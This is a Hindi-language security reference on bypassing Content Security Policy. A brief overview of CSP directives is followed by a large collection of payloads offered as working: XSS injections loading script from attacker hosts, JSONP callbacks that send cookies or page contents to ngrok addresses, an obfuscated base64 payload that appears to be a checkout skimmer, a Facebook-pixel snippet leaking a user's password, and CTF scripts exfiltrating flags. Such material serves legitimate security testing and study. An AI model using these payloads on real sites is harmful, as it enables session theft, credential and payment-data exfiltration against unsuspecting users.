Content Security Policy (CSP) Bypass

Reading time: 37 minutes

CSP क्या है

Content Security Policy (CSP) को एक ब्राउज़र तकनीक के रूप में माना जाता है, जिसका मुख्य उद्देश्य cross-site scripting (XSS) जैसे हमलों से सुरक्षा प्रदान करना है। यह इस बात को परिभाषित और निर्दिष्ट करके काम करता है कि ब्राउज़र किन पथों और स्रोतों से संसाधन सुरक्षित रूप से लोड कर सकता है। ये संसाधन images, frames, और JavaScript जैसे तत्वों को शामिल करते हैं। उदाहरण के लिए, एक policy एक ही डोमेन (self) से संसाधनों के लोड और निष्पादन की अनुमति दे सकती है, जिसमें inline resources और eval, setTimeout, या setInterval जैसे फ़ंक्शंस के माध्यम से string code का निष्पादन शामिल हो सकता है।

CSP का क्रियान्वयन response headers के माध्यम से या HTML पेज में meta elements जोड़कर किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र इन नियमों को सक्रिय रूप से लागू करते हैं और किसी भी पाए गए उल्लंघन को तुरंत ब्लॉक कर देते हैं।

• response header के माध्यम से लागू किया गया:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

• meta tag के जरिए लागू:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

हेडर

इन हेडरों का उपयोग करके CSP को लागू या मॉनिटर किया जा सकता है:

• Content-Security-Policy: CSP को लागू करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक कर देता है।
• Content-Security-Policy-Report-Only: निगरानी के लिए उपयोग किया जाता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। पूर्व-उत्पादन वातावरण में परीक्षण के लिए आदर्श।

संसाधन परिभाषित करना

CSP सक्रिय और निष्क्रिय सामग्री दोनों को लोड करने के मूलों को सीमित करता है, और inline JavaScript के निष्पादन तथा eval() के उपयोग जैसे पहलुओं को नियंत्रित करता है। उदाहरण नीति है:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

डायरेक्टिव्स

• script-src: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, inline scripts, और event handlers या XSLT stylesheets से ट्रिगर होने वाले scripts शामिल हैं।
• default-src: जब specific fetch निर्देश अनुपस्थित हों तो संसाधन लाने के लिए डिफ़ॉल्ट नीति निर्धारित करता है।
• child-src: web workers और embedded frame सामग्री के लिए अनुमत स्रोत निर्दिष्ट करता है।
• connect-src: fetch, WebSocket, XMLHttpRequest जैसे interfaces का उपयोग करके लोड किए जा सकने वाले URLs को सीमित करता है।
• frame-src: frames के लिए URLs को सीमित करता है।
• frame-ancestors: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को embed कर सकते हैं; यह <frame>, <iframe>, <object>, <embed>, और <applet> जैसे तत्वों पर लागू होता है।
• img-src: images के लिए अनुमत स्रोत परिभाषित करता है।
• font-src: @font-face का उपयोग करके लोड किए जाने वाले fonts के लिए वैध स्रोत निर्दिष्ट करता है।
• manifest-src: application manifest फ़ाइलों के अनुमत स्रोत परिभाषित करता है।
• media-src: media objects को लोड करने के लिए अनुमत स्रोत परिभाषित करता है।
• object-src: <object>, <embed>, और <applet> तत्वों के लिए अनुमत स्रोत परिभाषित करता है।
• base-uri: <base> तत्वों का उपयोग करके लोड करने के लिए अनुमत URLs निर्दिष्ट करता है।
• form-action: form submissions के लिए मान्य endpoints सूचीबद्ध करता है।
• plugin-types: किसी पृष्ठ द्वारा invoke किए जाने वाले mime types को सीमित करता है।
• upgrade-insecure-requests: ब्राउज़र को HTTP URLs को HTTPS में पुनर्लेखन करने का निर्देश देता है।
• sandbox: <iframe> के sandbox attribute के समान प्रतिबंध लागू करता है।
• report-to: यदि नीति का उल्लंघन होता है तो रिपोर्ट भेजने के लिए एक समूह निर्दिष्ट करता है।
• worker-src: Worker, SharedWorker, या ServiceWorker स्क्रिप्ट्स के लिए वैध स्रोत निर्दिष्ट करता है।
• prefetch-src: उन resources के लिए वैध स्रोत निर्दिष्ट करता है जिन्हें fetched या prefetched किया जाएगा।
• navigate-to: उन URLs को सीमित करता है जिनपर कोई document किसी भी माध्यम से नेविगेट कर सकता है (a, form, window.location, window.open, आदि)।

स्रोत

• *: data:, blob:, filesystem: schemes वाले URLs को छोड़कर सभी URLs की अनुमति देता है।
• 'self': एक ही domain से लोडिंग की अनुमति देता है।
• 'data': data scheme के माध्यम से resources लोड होने की अनुमति देता है (उदा., Base64 encoded images)।
• 'none': किसी भी स्रोत से लोडिंग को ब्लॉक करता है।
• 'unsafe-eval': eval() और समान methods के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं।
• 'unsafe-hashes': विशिष्ट inline event handlers को सक्षम करता है।
• 'unsafe-inline': inline <script> या <style> जैसे inline resources के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं।
• 'nonce': cryptographic nonce (number used once) का उपयोग करके specific inline scripts के लिए एक whitelist।

If you have JS limited execution it's possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:

<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

• 'sha256-<hash>': विशिष्ट sha256 हैश वाले स्क्रिप्ट्स को श्वेतसूची में शामिल करता है।
• 'strict-dynamic': यदि किसी nonce या hash द्वारा श्वेतसूची में शामिल किया गया हो तो किसी भी स्रोत से स्क्रिप्ट्स लोड करने की अनुमति देता है।
• 'host': किसी विशिष्ट host को निर्दिष्ट करता है, जैसे example.com।
• https:: उन URLs को सीमित करता है जो HTTPS का उपयोग करते हैं।
• blob:: Blob URLs (उदा., JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है।
• filesystem:: फाइलसिस्टम से संसाधनों को लोड करने की अनुमति देता है।
• 'report-sample': उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक सैंपल शामिल करता है (डिबगिंग के लिए उपयोगी)।
• 'strict-origin': 'self' के समान है लेकिन यह सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित origins ही सुरक्षित origins से संसाधन लोड कर सकते हैं)।
• 'strict-origin-when-cross-origin': same-origin अनुरोध करते समय पूर्ण URLs भेजता है लेकिन cross-origin अनुरोध पर केवल origin भेजता है।
• 'unsafe-allow-redirects': ऐसे संसाधनों को लोड करने की अनुमति देता है जो तुरंत किसी अन्य संसाधन पर redirect कर देंगे। सुरक्षा को कमजोर करने के कारण सुझावित नहीं है।

असुरक्षित CSP नियम

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

काम करने वाला payload: "/><script>alert(1);</script>

self + 'unsafe-inline' Iframes के माध्यम से

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

कार्यशील payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

यदि आप किसी तरह DOM में अपने JS code के साथ एक allowed JS code created a new script tag बना सकें, क्योंकि एक allowed script इसे बना रहा है, तो वह new script tag will be allowed to be executed।

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

कार्यशील payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-src और default-src का अभाव

[!CAUTION] > ऐसा लगता है कि यह अब काम नहीं कर रहा है

Content-Security-Policy: script-src 'self' ;

कार्यशील payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

फ़ाइल अपलोड + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

यदि आप एक JS फ़ाइल अपलोड कर सकते हैं तो आप इस CSP को bypass कर सकते हैं:

काम करने वाला payload:

"/>'><script src="/uploads/picture.png.js"></script>

हालाँकि, काफी संभावना है कि सर्वर अपलोड की गई फ़ाइल की जाँच कर रहा है और आपको केवल कुछ निश्चित प्रकार की फ़ाइलें ही अपलोड करने देगा।

इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार किए गए एक्सटेंशन का उपयोग करके किसी फ़ाइल के अंदर JS code inside अपलोड कर पाते हों (जैसे: script.png) तो भी यह काफी नहीं होगा क्योंकि कुछ सर्वर जैसे Apache server फ़ाइल का MIME type extension के आधार पर select करते हैं और ब्राउज़र जैसे Chrome उस चीज़ के अंदर Javascript को execute करने से reject कर देंगे जो कि एक image होनी चाहिए। "Hopefully", गलतियाँ होती हैं। उदाहरण के लिए, एक CTF में मैंने सीखा कि Apache doesn't know .wave extension, इसलिए यह इसे MIME type like audio/* के साथ serve नहीं करता।

यहाँ से, अगर आप XSS और file upload दोनों पाते हैं, और आप किसी misinterpreted extension को ढूंढने में कामयाब हो जाते हैं, तो आप उस extension के साथ एक फ़ाइल और script का Content अपलोड करने की कोशिश कर सकते हैं। या, अगर सर्वर अपलोड की गई फ़ाइल के सही format की जाँच कर रहा है, तो एक polyglot बनाएं (some polyglot examples here)।

Form-action

अगर JS inject करना संभव न हो, तो आप फिर भी credentials exfiltrate करने की कोशिश कर सकते हैं, उदाहरण के लिए एक form action inject करके (और संभवतः password managers से auto-fill की उम्मीद रखते हुए)। आप एक example in this report देख सकते हैं। साथ ही, ध्यान दें कि default-src form actions को कवर नहीं करता।

Third Party Endpoints + ('unsafe-eval')

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

एक कमजोर संस्करण का angular लोड करें और मनमाना JS निष्पादित करें:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + ऐसी लाइब्रेरी जिनके functions window object लौटाते हैं का उपयोग करके Payloads (check out this post):

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS एक class name से:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

google recaptcha JS code का दुरुपयोग

के अनुसार this CTF writeup आप CSP के अंदर https://www.google.com/recaptcha/ का दुरुपयोग करके CSP को bypass करते हुए arbitrary JS code execute कर सकते हैं:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

अधिक payloads from this writeup:

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

www.google.com का दुरुपयोग करके open redirect

निम्न URL example.com पर redirect करता है (from here):

https://www.google.com/amp/s/example.com/

दुरुपयोग *.google.com/script.google.com

Google Apps Script का दुरुपयोग करके script.google.com के अंदर किसी पेज में जानकारी प्राप्त करना संभव है। जैसा कि इस रिपोर्ट में किया गया है।

तृतीय-पक्ष एंडपॉइंट्स + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

ऐसे परिदृश्य जहाँ script-src self पर सेट है और एक विशेष डोमेन जिसे whitelisted किया गया है, JSONP का उपयोग करके बाइपास किए जा सकते हैं। JSONP endpoints असुरक्षित callback methods की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं। working payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee तैयार उपयोग के लिए JSONP endpoints शामिल करता है जो विभिन्न वेबसाइटों की CSP bypass के लिए उपयोग किए जा सकते हैं।

उसी तरह की vulnerability उस स्थिति में भी होगी अगर trusted endpoint में एक Open Redirect हो क्योंकि अगर प्रारम्भिक endpoint भरोसेमंद है, तो redirects भी भरोसेमंद माने जाते हैं।

तीसरे पक्ष के दुरुपयोग

जैसा कि following post में वर्णित है, कई third party domains हैं जिन्हें CSP में कहीं अनुमति दी जा सकती है और उनका दुरुपयोग data exfiltrate करने या JavaScript code execute करने के लिए किया जा सकता है। इनमें से कुछ third-parties हैं:

यदि आपको अपने target की CSP में ऊपर बताए गए किसी भी allowed domain मिले, तो संभावना है कि आप उस third-party service पर register कर के CSP bypass कर सकते हैं और या तो data उस service पर exfiltrate कर सकते हैं या code execute करवा सकते हैं।

उदाहरण के लिए, यदि आपको निम्नलिखित CSP मिलता है:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

या

Content-Security-Policy​: connect-src www.facebook.com;​

आपको exfiltrate data करने में सक्षम होना चाहिए, ठीक वैसे ही जैसे यह हमेशा से Google Analytics/Google Tag Manager के साथ किया जाता रहा है। इस मामले में, आप इन सामान्य चरणों का पालन करते हैं:

1. यहाँ एक Facebook Developer account बनाएँ।
2. एक नया "Facebook Login" app बनाएँ और "Website" चुनें।
3. "Settings -> Basic" पर जाएँ और अपना "App ID" प्राप्त करें।
4. जिस target site से आप exfiltrate data करना चाहते हैं, वहाँ आप सीधे Facebook SDK gadget "fbq" का उपयोग करके एक "customEvent" और data payload के माध्यम से exfiltrate data कर सकते हैं।
5. अपने App "Event Manager" पर जाएँ और उस application को चुनें जो आपने बनाया था (note the event manager could be found in an URL similar to this: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
6. "Test Events" टैब चुनें ताकि आप "your" web site द्वारा भेजे जा रहे events देख सकें।

फिर, victim side पर, आप निम्न code को execute करते हैं ताकि Facebook tracking pixel को attacker के Facebook developer account app-id की ओर initialize किया जाए और इस तरह एक custom event जारी किया जा सके:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

पिछली तालिका में निर्दिष्ट बाकी सात third-party domains के लिए, इन्हें दुरुपयोग करने के कई अन्य तरीके मौजूद हैं। अन्य third-party abuses के बारे में अतिरिक्त व्याख्याओं के लिए पहले दिए गए blog post को देखें।

Bypass via RPO (Relative Path Overwrite)

path restrictions को bypass करने के लिए ऊपर बताए गए redirection के अलावा, कुछ सर्वरों पर Relative Path Overwrite (RPO) नामक एक और तकनीक का इस्तेमाल किया जा सकता है।

उदाहरण के लिए, यदि CSP निम्न path https://example.com/scripts/react/ की अनुमति देता है, तो इसे निम्न तरीके से bypass किया जा सकता है:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ब्राउज़र अंततः https://example.com/scripts/angular/angular.js लोड करेगा।

यह इसलिए काम करता है क्योंकि ब्राउज़र के लिए आप https://example.com/scripts/react/ के अंतर्गत स्थित ..%2fangular%2fangular.js नाम की फ़ाइल लोड कर रहे हैं, जो CSP के अनुकूल है।

∑, वे इसे डिकोड कर देंगे, और वास्तव में https://example.com/scripts/react/../angular/angular.js का अनुरोध करेंगे, जो https://example.com/scripts/angular/angular.js के बराबर है।

ब्राउज़र और सर्वर के बीच URL व्याख्या में इस असंगतता का शोषण करके, पथ नियमों को बायपास किया जा सकता है।

समाधान यह है कि सर्वर-साइड पर %2f को / के रूप में न माना जाए, ताकि ब्राउज़र और सर्वर के बीच व्याख्या सुसंगत रहे और इस समस्या से बचा जा सके।

Online Example: https://jsbin.com/werevijewa/edit?html,output

Iframes JS निष्पादन

Iframes in XSS, CSP and SOP

missing base-uri

यदि base-uri निर्देश अनुपस्थित है तो आप इसे दुरुपयोग करके dangling markup injection कर सकते हैं।

इसके अलावा, अगर page is loading a script using a relative path (जैसे <script src="/js/app.js">) और वह स्क्रिप्ट एक Nonce का उपयोग कर रही है, तो आप base tag का दुरुपयोग करके उस स्क्रिप्ट को अपने सर्वर से load करवा सकते हैं और XSS हासिल कर सकते हैं।
यदि vulnerable पेज httpS के साथ लोड किया गया है, तो base में httpS url का उपयोग करें।

<base href="https://www.attacker.com/" />

AngularJS इवेंट्स

Content Security Policy (CSP) जैसी एक विशिष्ट नीति JavaScript इवेंट्स को प्रतिबंधित कर सकती है। फिर भी, AngularJS वैकल्पिक के रूप में कस्टम इवेंट्स प्रदान करता है। एक इवेंट के अंदर, AngularJS एक विशेष ऑब्जेक्ट $event प्रदान करता है, जो नेटिव ब्राउज़र इवेंट ऑब्जेक्ट को संदर्भित करता है। इस $event ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। खास बात यह है कि Chrome में $event/event ऑब्जेक्ट में path ऐट्रिब्यूट होता है, जो इवेंट के निष्पादन चेन में शामिल ऑब्जेक्ट्स की एक array रखता है, और window ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना sandbox escape tactics के लिए केंद्रीय है।

इस array को orderBy filter की ओर निर्देशित करके, इसे iterate करना संभव है, और अंतिम तत्व (यानी window ऑब्जेक्ट) का उपयोग करके ग्लोबल फ़ंक्शन जैसे alert() को ट्रिगर किया जा सकता है। नीचे दिया गया कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

यह स्निपेट ng-focus निर्देश का उपयोग करके इवेंट को ट्रिगर करने, $event.path|orderBy का उपयोग करके path array को हेरफेर करने, और window ऑब्जेक्ट का उपयोग करके alert() फ़ंक्शन चलाकर document.cookie उजागर करने को दर्शाता है।

अन्य Angular bypasses खोजें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS और whitelisted domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSP policy जो Angular JS application में script loading के लिए domains को whitelist करती है, उसे callback functions की invocation और कुछ vulnerable classes के जरिए bypass किया जा सकता है। इस तकनीक के बारे में विस्तृत गाइड इस git repository पर उपलब्ध है।

Working payloads:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Other JSONP arbitrary execution endpoints आप here में पा सकते हैं (उनमें से कुछ हटाए गए या ठीक किए गए थे)

रीडायरेक्शन के माध्यम से बाइपास

CSP को जब सर्वर-साइड रीडायरेक्शन मिलता है तो क्या होता है? अगर रीडायरेक्शन किसी ऐसे अलग origin पर जाता है जिसे अनुमति नहीं है, तो यह फिर भी असफल होगा।

हालाँकि, CSP spec 4.2.2.3. Paths and Redirects में दिए वर्णन के अनुसार, अगर रीडायरेक्शन किसी अलग path पर जाता है, तो यह मूल प्रतिबंधों को बाइपास कर सकता है।

यहाँ एक उदाहरण है:

<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

यदि CSP https://www.google.com/a/b/c/d पर सेट है, चूंकि path को ध्यान में लिया जाता है, दोनों /test और /a/test scripts CSP द्वारा ब्लॉक होंगे।

हालाँकि, अंतिम http://localhost:5555/301 server-side पर https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// पर redirect हो जाएगा। चूंकि यह एक redirection है, path पर विचार नहीं किया जाता, और script लोड किया जा सकता है, इसलिए path restriction bypass हो जाता है।

इस redirection के साथ, भले ही path पूरी तरह से specified हो, यह फिर भी bypass हो जाएगा।

इसलिए, सबसे अच्छा समाधान यह है कि वेबसाइट में कोई open redirect vulnerabilities न हों और CSP rules में कोई ऐसे domains न हों जिन्हें exploit किया जा सके।

Bypass CSP with dangling markup

Read how here.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और img-src * का मतलब है कि आप webpage में किसी भी resource से कोई भी image उपयोग कर सकते हैं।

आप इस CSP को images के माध्यम से डेटा exfiltrating करके bypass कर सकते हैं (इस मामले में XSS एक CSRF का दुरुपयोग करता है जहाँ bot द्वारा access की जाने वाली page में एक SQLi है, और flag को एक image के माध्यम से extract किया जाता है):

<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

आप इस कॉन्फ़िगरेशन का दुरुपयोग करके छवि के अंदर इंसर्ट किया गया javascript कोड लोड कर सकते हैं। उदाहरण के लिए, अगर पेज Twitter से images लोड करने की अनुमति देता है। आप एक विशेष image तैयार कर के, उसे Twitter पर upload कर के और "unsafe-inline" का दुरुपयोग करके एक JS कोड (साधारण XSS की तरह) execute करा सकते हैं जो उस image को load करेगा, उसमें से JS को extract करेगा और उसे execute कर देगा: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Service Workers के साथ

Service workers का importScripts फंक्शन CSP द्वारा सीमित नहीं है:

Abusing Service Workers

Policy Injection

Research: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

यदि आपका भेजा गया कोई parameter पॉलिसी की declaration के अंदर pasted किया जा रहा है, तो आप किसी तरह से उस policy को बदलकर उसे बेकार बना सकते हैं। आप इन बायपासेस में से किसी के जरिए script 'unsafe-inline' को allow कर सकते हैं:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

क्योंकि यह निर्देश मौजूदा script-src directives को ओवरराइट कर देगा।
आप यहाँ एक उदाहरण देख सकते हैं: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge में यह बहुत सरल है। अगर आप CSP में सिर्फ यह जोड़ दें: ;_ तो Edge पूरी policy को हटा देगा।
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Time attack

निर्देश 'unsafe-inline' की अनुपस्थिति पर ध्यान दें।
इस बार आप पीड़ित को लोड कराने के लिए आपके नियंत्रण में एक पेज XSS के माध्यम से <iframe के साथ दिखवा सकते हैं। इस बार आप पीड़ित को उस पेज तक पहुँचने पर मजबूर करेंगे जहाँ से आप जानकारी निकालना चाहते हैं (CSRF)। आप पेज की सामग्री तक पहुँच नहीं सकते, लेकिन अगर किसी तरह आप पेज के लोड होने में लगने वाले समय को नियंत्रित कर सकें तो आप आवश्यक जानकारी निकाल सकते हैं।

इस बार एक flag निकाला जाएगा — जब भी SQLi के माध्यम से कोई char is correctly guessed होगा, तो response sleep function के कारण more time लेगा। फिर आप flag निकाल पाएंगे:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Bookmarklets के माध्यम से

यह हमला कुछ social engineering शामिल करेगा जहाँ हमलावर उपयोगकर्ता को ब्राउज़र के bookmarklet पर एक लिंक drag and drop करने के लिए राज़ी करता है। यह bookmarklet malicious javascript कोड रखेगा जो कि जब drag&dropped या क्लिक किया जाएगा तो वर्तमान वेब विंडो के context में execute होगा, जिससे CSP bypass होकर संवेदनशील जानकारी चुराने की अनुमति मिल सकती है जैसे कि cookies या tokens।

अधिक जानकारी के लिए मूल रिपोर्ट यहाँ देखें.

CSP को सीमित करके CSP bypass

In this CTF writeup, CSP को bypass किया गया था एक अनुमति प्राप्त iframe के अंदर एक और अधिक restrictive CSP inject करके जो एक specific JS फ़ाइल को लोड करने से रोकता था, जो फिर prototype pollution या dom clobbering के माध्यम से किसी अलग script का दुरुपयोग करके किसी arbitrary script को लोड करने की अनुमति देता था।

आप Iframe का CSP सीमित कर सकते हैं csp attribute के साथ:

<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

